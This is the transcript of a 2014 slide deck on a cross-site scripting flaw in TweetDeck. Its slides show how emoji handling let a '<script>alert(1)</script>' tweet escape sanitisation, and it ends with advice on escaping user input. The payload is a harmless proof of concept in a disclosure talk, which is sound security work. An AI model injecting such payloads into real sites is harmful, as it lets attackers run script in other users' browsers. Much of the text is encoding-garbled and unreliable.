Upgrade to Pro — share decks privately, control downloads, hide ads and more …

TweetDeck XSS 20140611

TweetDeck XSS 20140611

TweetDeck XSS 20140611

646a01801bac1886ddf86aee2de913ed?s=128

Yusei Yamanaka

June 12, 2014
Tweet

Transcript

  1. じコしょ-かい なまえ ミユっき せきゅリティ いろイロ びっぐで-た

  2. None
  3. ࡢ໷ʜ

  4. None
  5. None
  6. ʊਓਓਓʊ ʼ944ʻ ʉ:?:?:ʉ

  7. None
  8. var text = “<script>alert(1);</script>http://applest.net/”;

  9. transform(text, entities) var text = “<script>alert(1)</script>http://applest.net/”; updateEntities(text, entites) (FUJOGPSNBUJPONFEJB MJOL

    NFOUJPOT IBTIUBHTJOUXFFU linkify() -JOLJGZBOElFTDBQFzGPSUXFFU emojify() &NPKJGZGPSUXFFU return Object {media: Array[0], urls: Array[1], hashtags: Array[0], user_mentions: Array[0], cashtags: Array[0]} "&lt;script&gt;alert(1)&lt;/script&gt;<a href="http://applest.net/" target="_blank" class="url-ext" rel="url" >http://applest.net/</a>" "&lt;script&gt;alert(1)&lt;/script&gt;<a href="http://applest.net/" target="_blank" class="url-ext" rel="url" >http://applest.net/</a>"
  10. transform(text, entities) var text = “—”; updateEntities(text, entites) (FUJOGPSNBUJPONFEJB MJOL

    NFOUJPOT IBTIUBHTJOUXFFU linkify() -JOLJGZBOElFTDBQFzGPSUXFFU emojify() &NPKJGZGPSUXFFU return Object {media: Array[0], urls: Array[0], hashtags: Array[0], user_mentions: Array[0], cashtags: Array[0]} “—” "<img class="emoji inline-block” draggable="false" alt=“—"src="/web/assets/emoji//2665.png">"
  11. transform(text, entities) var text = “<script>alert(1)</script>—”; updateEntities(text, entites) (FUJOGPSNBUJPONFEJB MJOL

    NFOUJPOT IBTIUBHTJOUXFFU linkify() -JOLJGZBOElFTDBQFzGPSUXFFU emojify() &NPKJGZGPSUXFFU return Object {media: Array[0], urls: Array[0], hashtags: Array[0], user_mentions: Array[0], cashtags: Array[0]} “&lt;script&gt;alert(1)&lt;/script&gt;—” "<script>alert(1)</script><img class="emoji inline-block” draggable="false" alt="—" src="/web/assets/emoji//2665.png">"
  12. 1SPCMFNT

  13. %&.0

  14. :FTUFSEBZ 5PEBZ

  15. None
  16. None
  17. ΋ͬͱηΩϡΞʹ͢ΔͨΊʹʜ ΤεέʔϓΛҙࣝ͠ͳ͍ Ϣʔβʔ͔Βͷ஋Λ৴༻͠ͳ͍ Τεέʔϓ͕ඞཁ͔Λߟ͑Δ